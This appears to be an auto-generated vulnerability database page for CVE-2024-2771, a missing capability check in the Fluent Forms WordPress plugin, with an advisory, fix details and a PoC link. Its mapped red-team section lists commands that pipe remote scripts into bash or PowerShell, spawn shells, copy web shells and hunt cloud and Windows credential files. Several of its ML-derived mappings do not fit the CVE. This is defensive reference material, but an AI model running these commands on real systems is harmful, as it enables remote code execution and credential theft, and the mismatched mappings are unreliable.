CVE-2024-2771
Overview
This vulnerability is a privilege escalation flaw caused by a missing capability check in the Fluent Forms WordPress plugin. Specifically, the /wp-json/fluentform/v1/managers REST API endpoint lacks proper authorization validation, allowing unauthorized access. The affected component is the role management functionality within the plugin's REST API interface, present in all versions up to and including 5.1.16.
Vulnerability Description
The Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder plugin for WordPress is vulnerable to privilege escalation due to a missing capability check on the /wp-json/fluentform/v1/managers REST API endpoint in all versions up to, and including, 5.1.16. This makes it possible for unauthenticated attackers to grant users with Fluent Form management permissions which gives them access to all of the plugin's settings and features. This also makes it possible for unauthenticated attackers to delete manager accounts.
Impact
An unauthenticated attacker can escalate privileges by granting themselves or other users full Fluent Form management rights, gaining control over all plugin settings and features. Additionally, the attacker can delete manager accounts, potentially disrupting administrative control. This attack requires only network access to the WordPress REST API endpoint and no user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N, enabling complete compromise of the plugin's administrative functions.
Solution
To remediate this vulnerability, update Fluent Forms to version 5.1.17 or later, where the missing capability check on the /wp-json/fluentform/v1/managers endpoint has been implemented. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/071195d6-3452-4241-a8d3-92efc84e4850) and the WordPress Trac changeset (https://plugins.trac.wordpress.org/changeset/3088078/fluentform/trunk/app/Http/Policies/RoleManagerPolicy.php) for detailed patch information and verification of the fix.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Contact Form Plugin by Fluent Forms for WordPress arises from a critical oversight in the implementation of capability checks on the REST API endpoint. Specifically, the absence of proper authentication and authorization mechanisms allows unauthenticated users to interact with sensitive functionalities of the plugin. This flaw permits attackers to escalate privileges by granting themselves or other users management permissions without any form of verification. Consequently, unauthorized users can access and manipulate all settings and features associated with the plugin, including the ability to delete manager accounts, which can severely compromise the integrity and functionality of the application.
Attack vectors exploiting this vulnerability are particularly concerning due to their simplicity and effectiveness. An attacker could leverage tools to send crafted requests to the vulnerable REST API endpoint, thus bypassing any intended security measures. By doing so, they could create new users with elevated privileges or modify existing user roles, effectively gaining control over the plugin's management features. This exploitation does not require any form of authentication, making it accessible to a wide range of potential attackers, including those with minimal technical expertise. Furthermore, the ability to delete manager accounts could lead to significant disruptions in service, as legitimate administrators may find themselves locked out of critical functionalities.
The real-world impact of this vulnerability is profound, especially for businesses relying on the Contact Form Plugin for customer interactions and data collection. The potential for unauthorized access to sensitive information, such as user submissions and configuration settings, poses a significant risk to data integrity and confidentiality. Additionally, the ability to manipulate user roles can lead to further exploitation, where attackers could introduce malicious code or redirect users to phishing sites. The reputational damage resulting from such breaches can be substantial, leading to loss of customer trust and potential legal ramifications due to non-compliance with data protection regulations.
To detect and mitigate this vulnerability, organizations must adopt a multi-faceted approach. First, regular security audits and vulnerability assessments should be conducted to identify and remediate weaknesses in plugins and themes used within WordPress environments. Implementing a Web Application Firewall (WAF) can help filter out malicious requests targeting the REST API endpoints. Additionally, organizations should ensure that all plugins are kept up to date, as developers often release patches to address known vulnerabilities. Educating users and administrators about the importance of strong authentication practices and regular monitoring of user roles can further enhance security posture.
In conclusion, the privilege escalation vulnerability within the Contact Form Plugin for WordPress highlights critical security oversights that can have severe implications for organizations utilizing this tool. The ease of exploitation and the potential for significant business risk necessitate immediate attention and action. By adopting proactive detection and mitigation strategies, organizations can safeguard their WordPress installations against such vulnerabilities, ensuring the integrity of their data and the trust of their users.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fluentforms | Contact Form | All |
cpe:2.3:a:fluentforms:contact_form:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
whale93/CVE-2024-2771-PoC
CVE-2024-2771 Proof-of-Concept
|
whale93 | 0 | 0 | 2025-08-03 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
42%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-2771 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/071195d6-3452-4241-a8d3-92efc84e4850?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3088078/fluentform/trunk/app/Http/Policies/RoleManagerPolicy.php |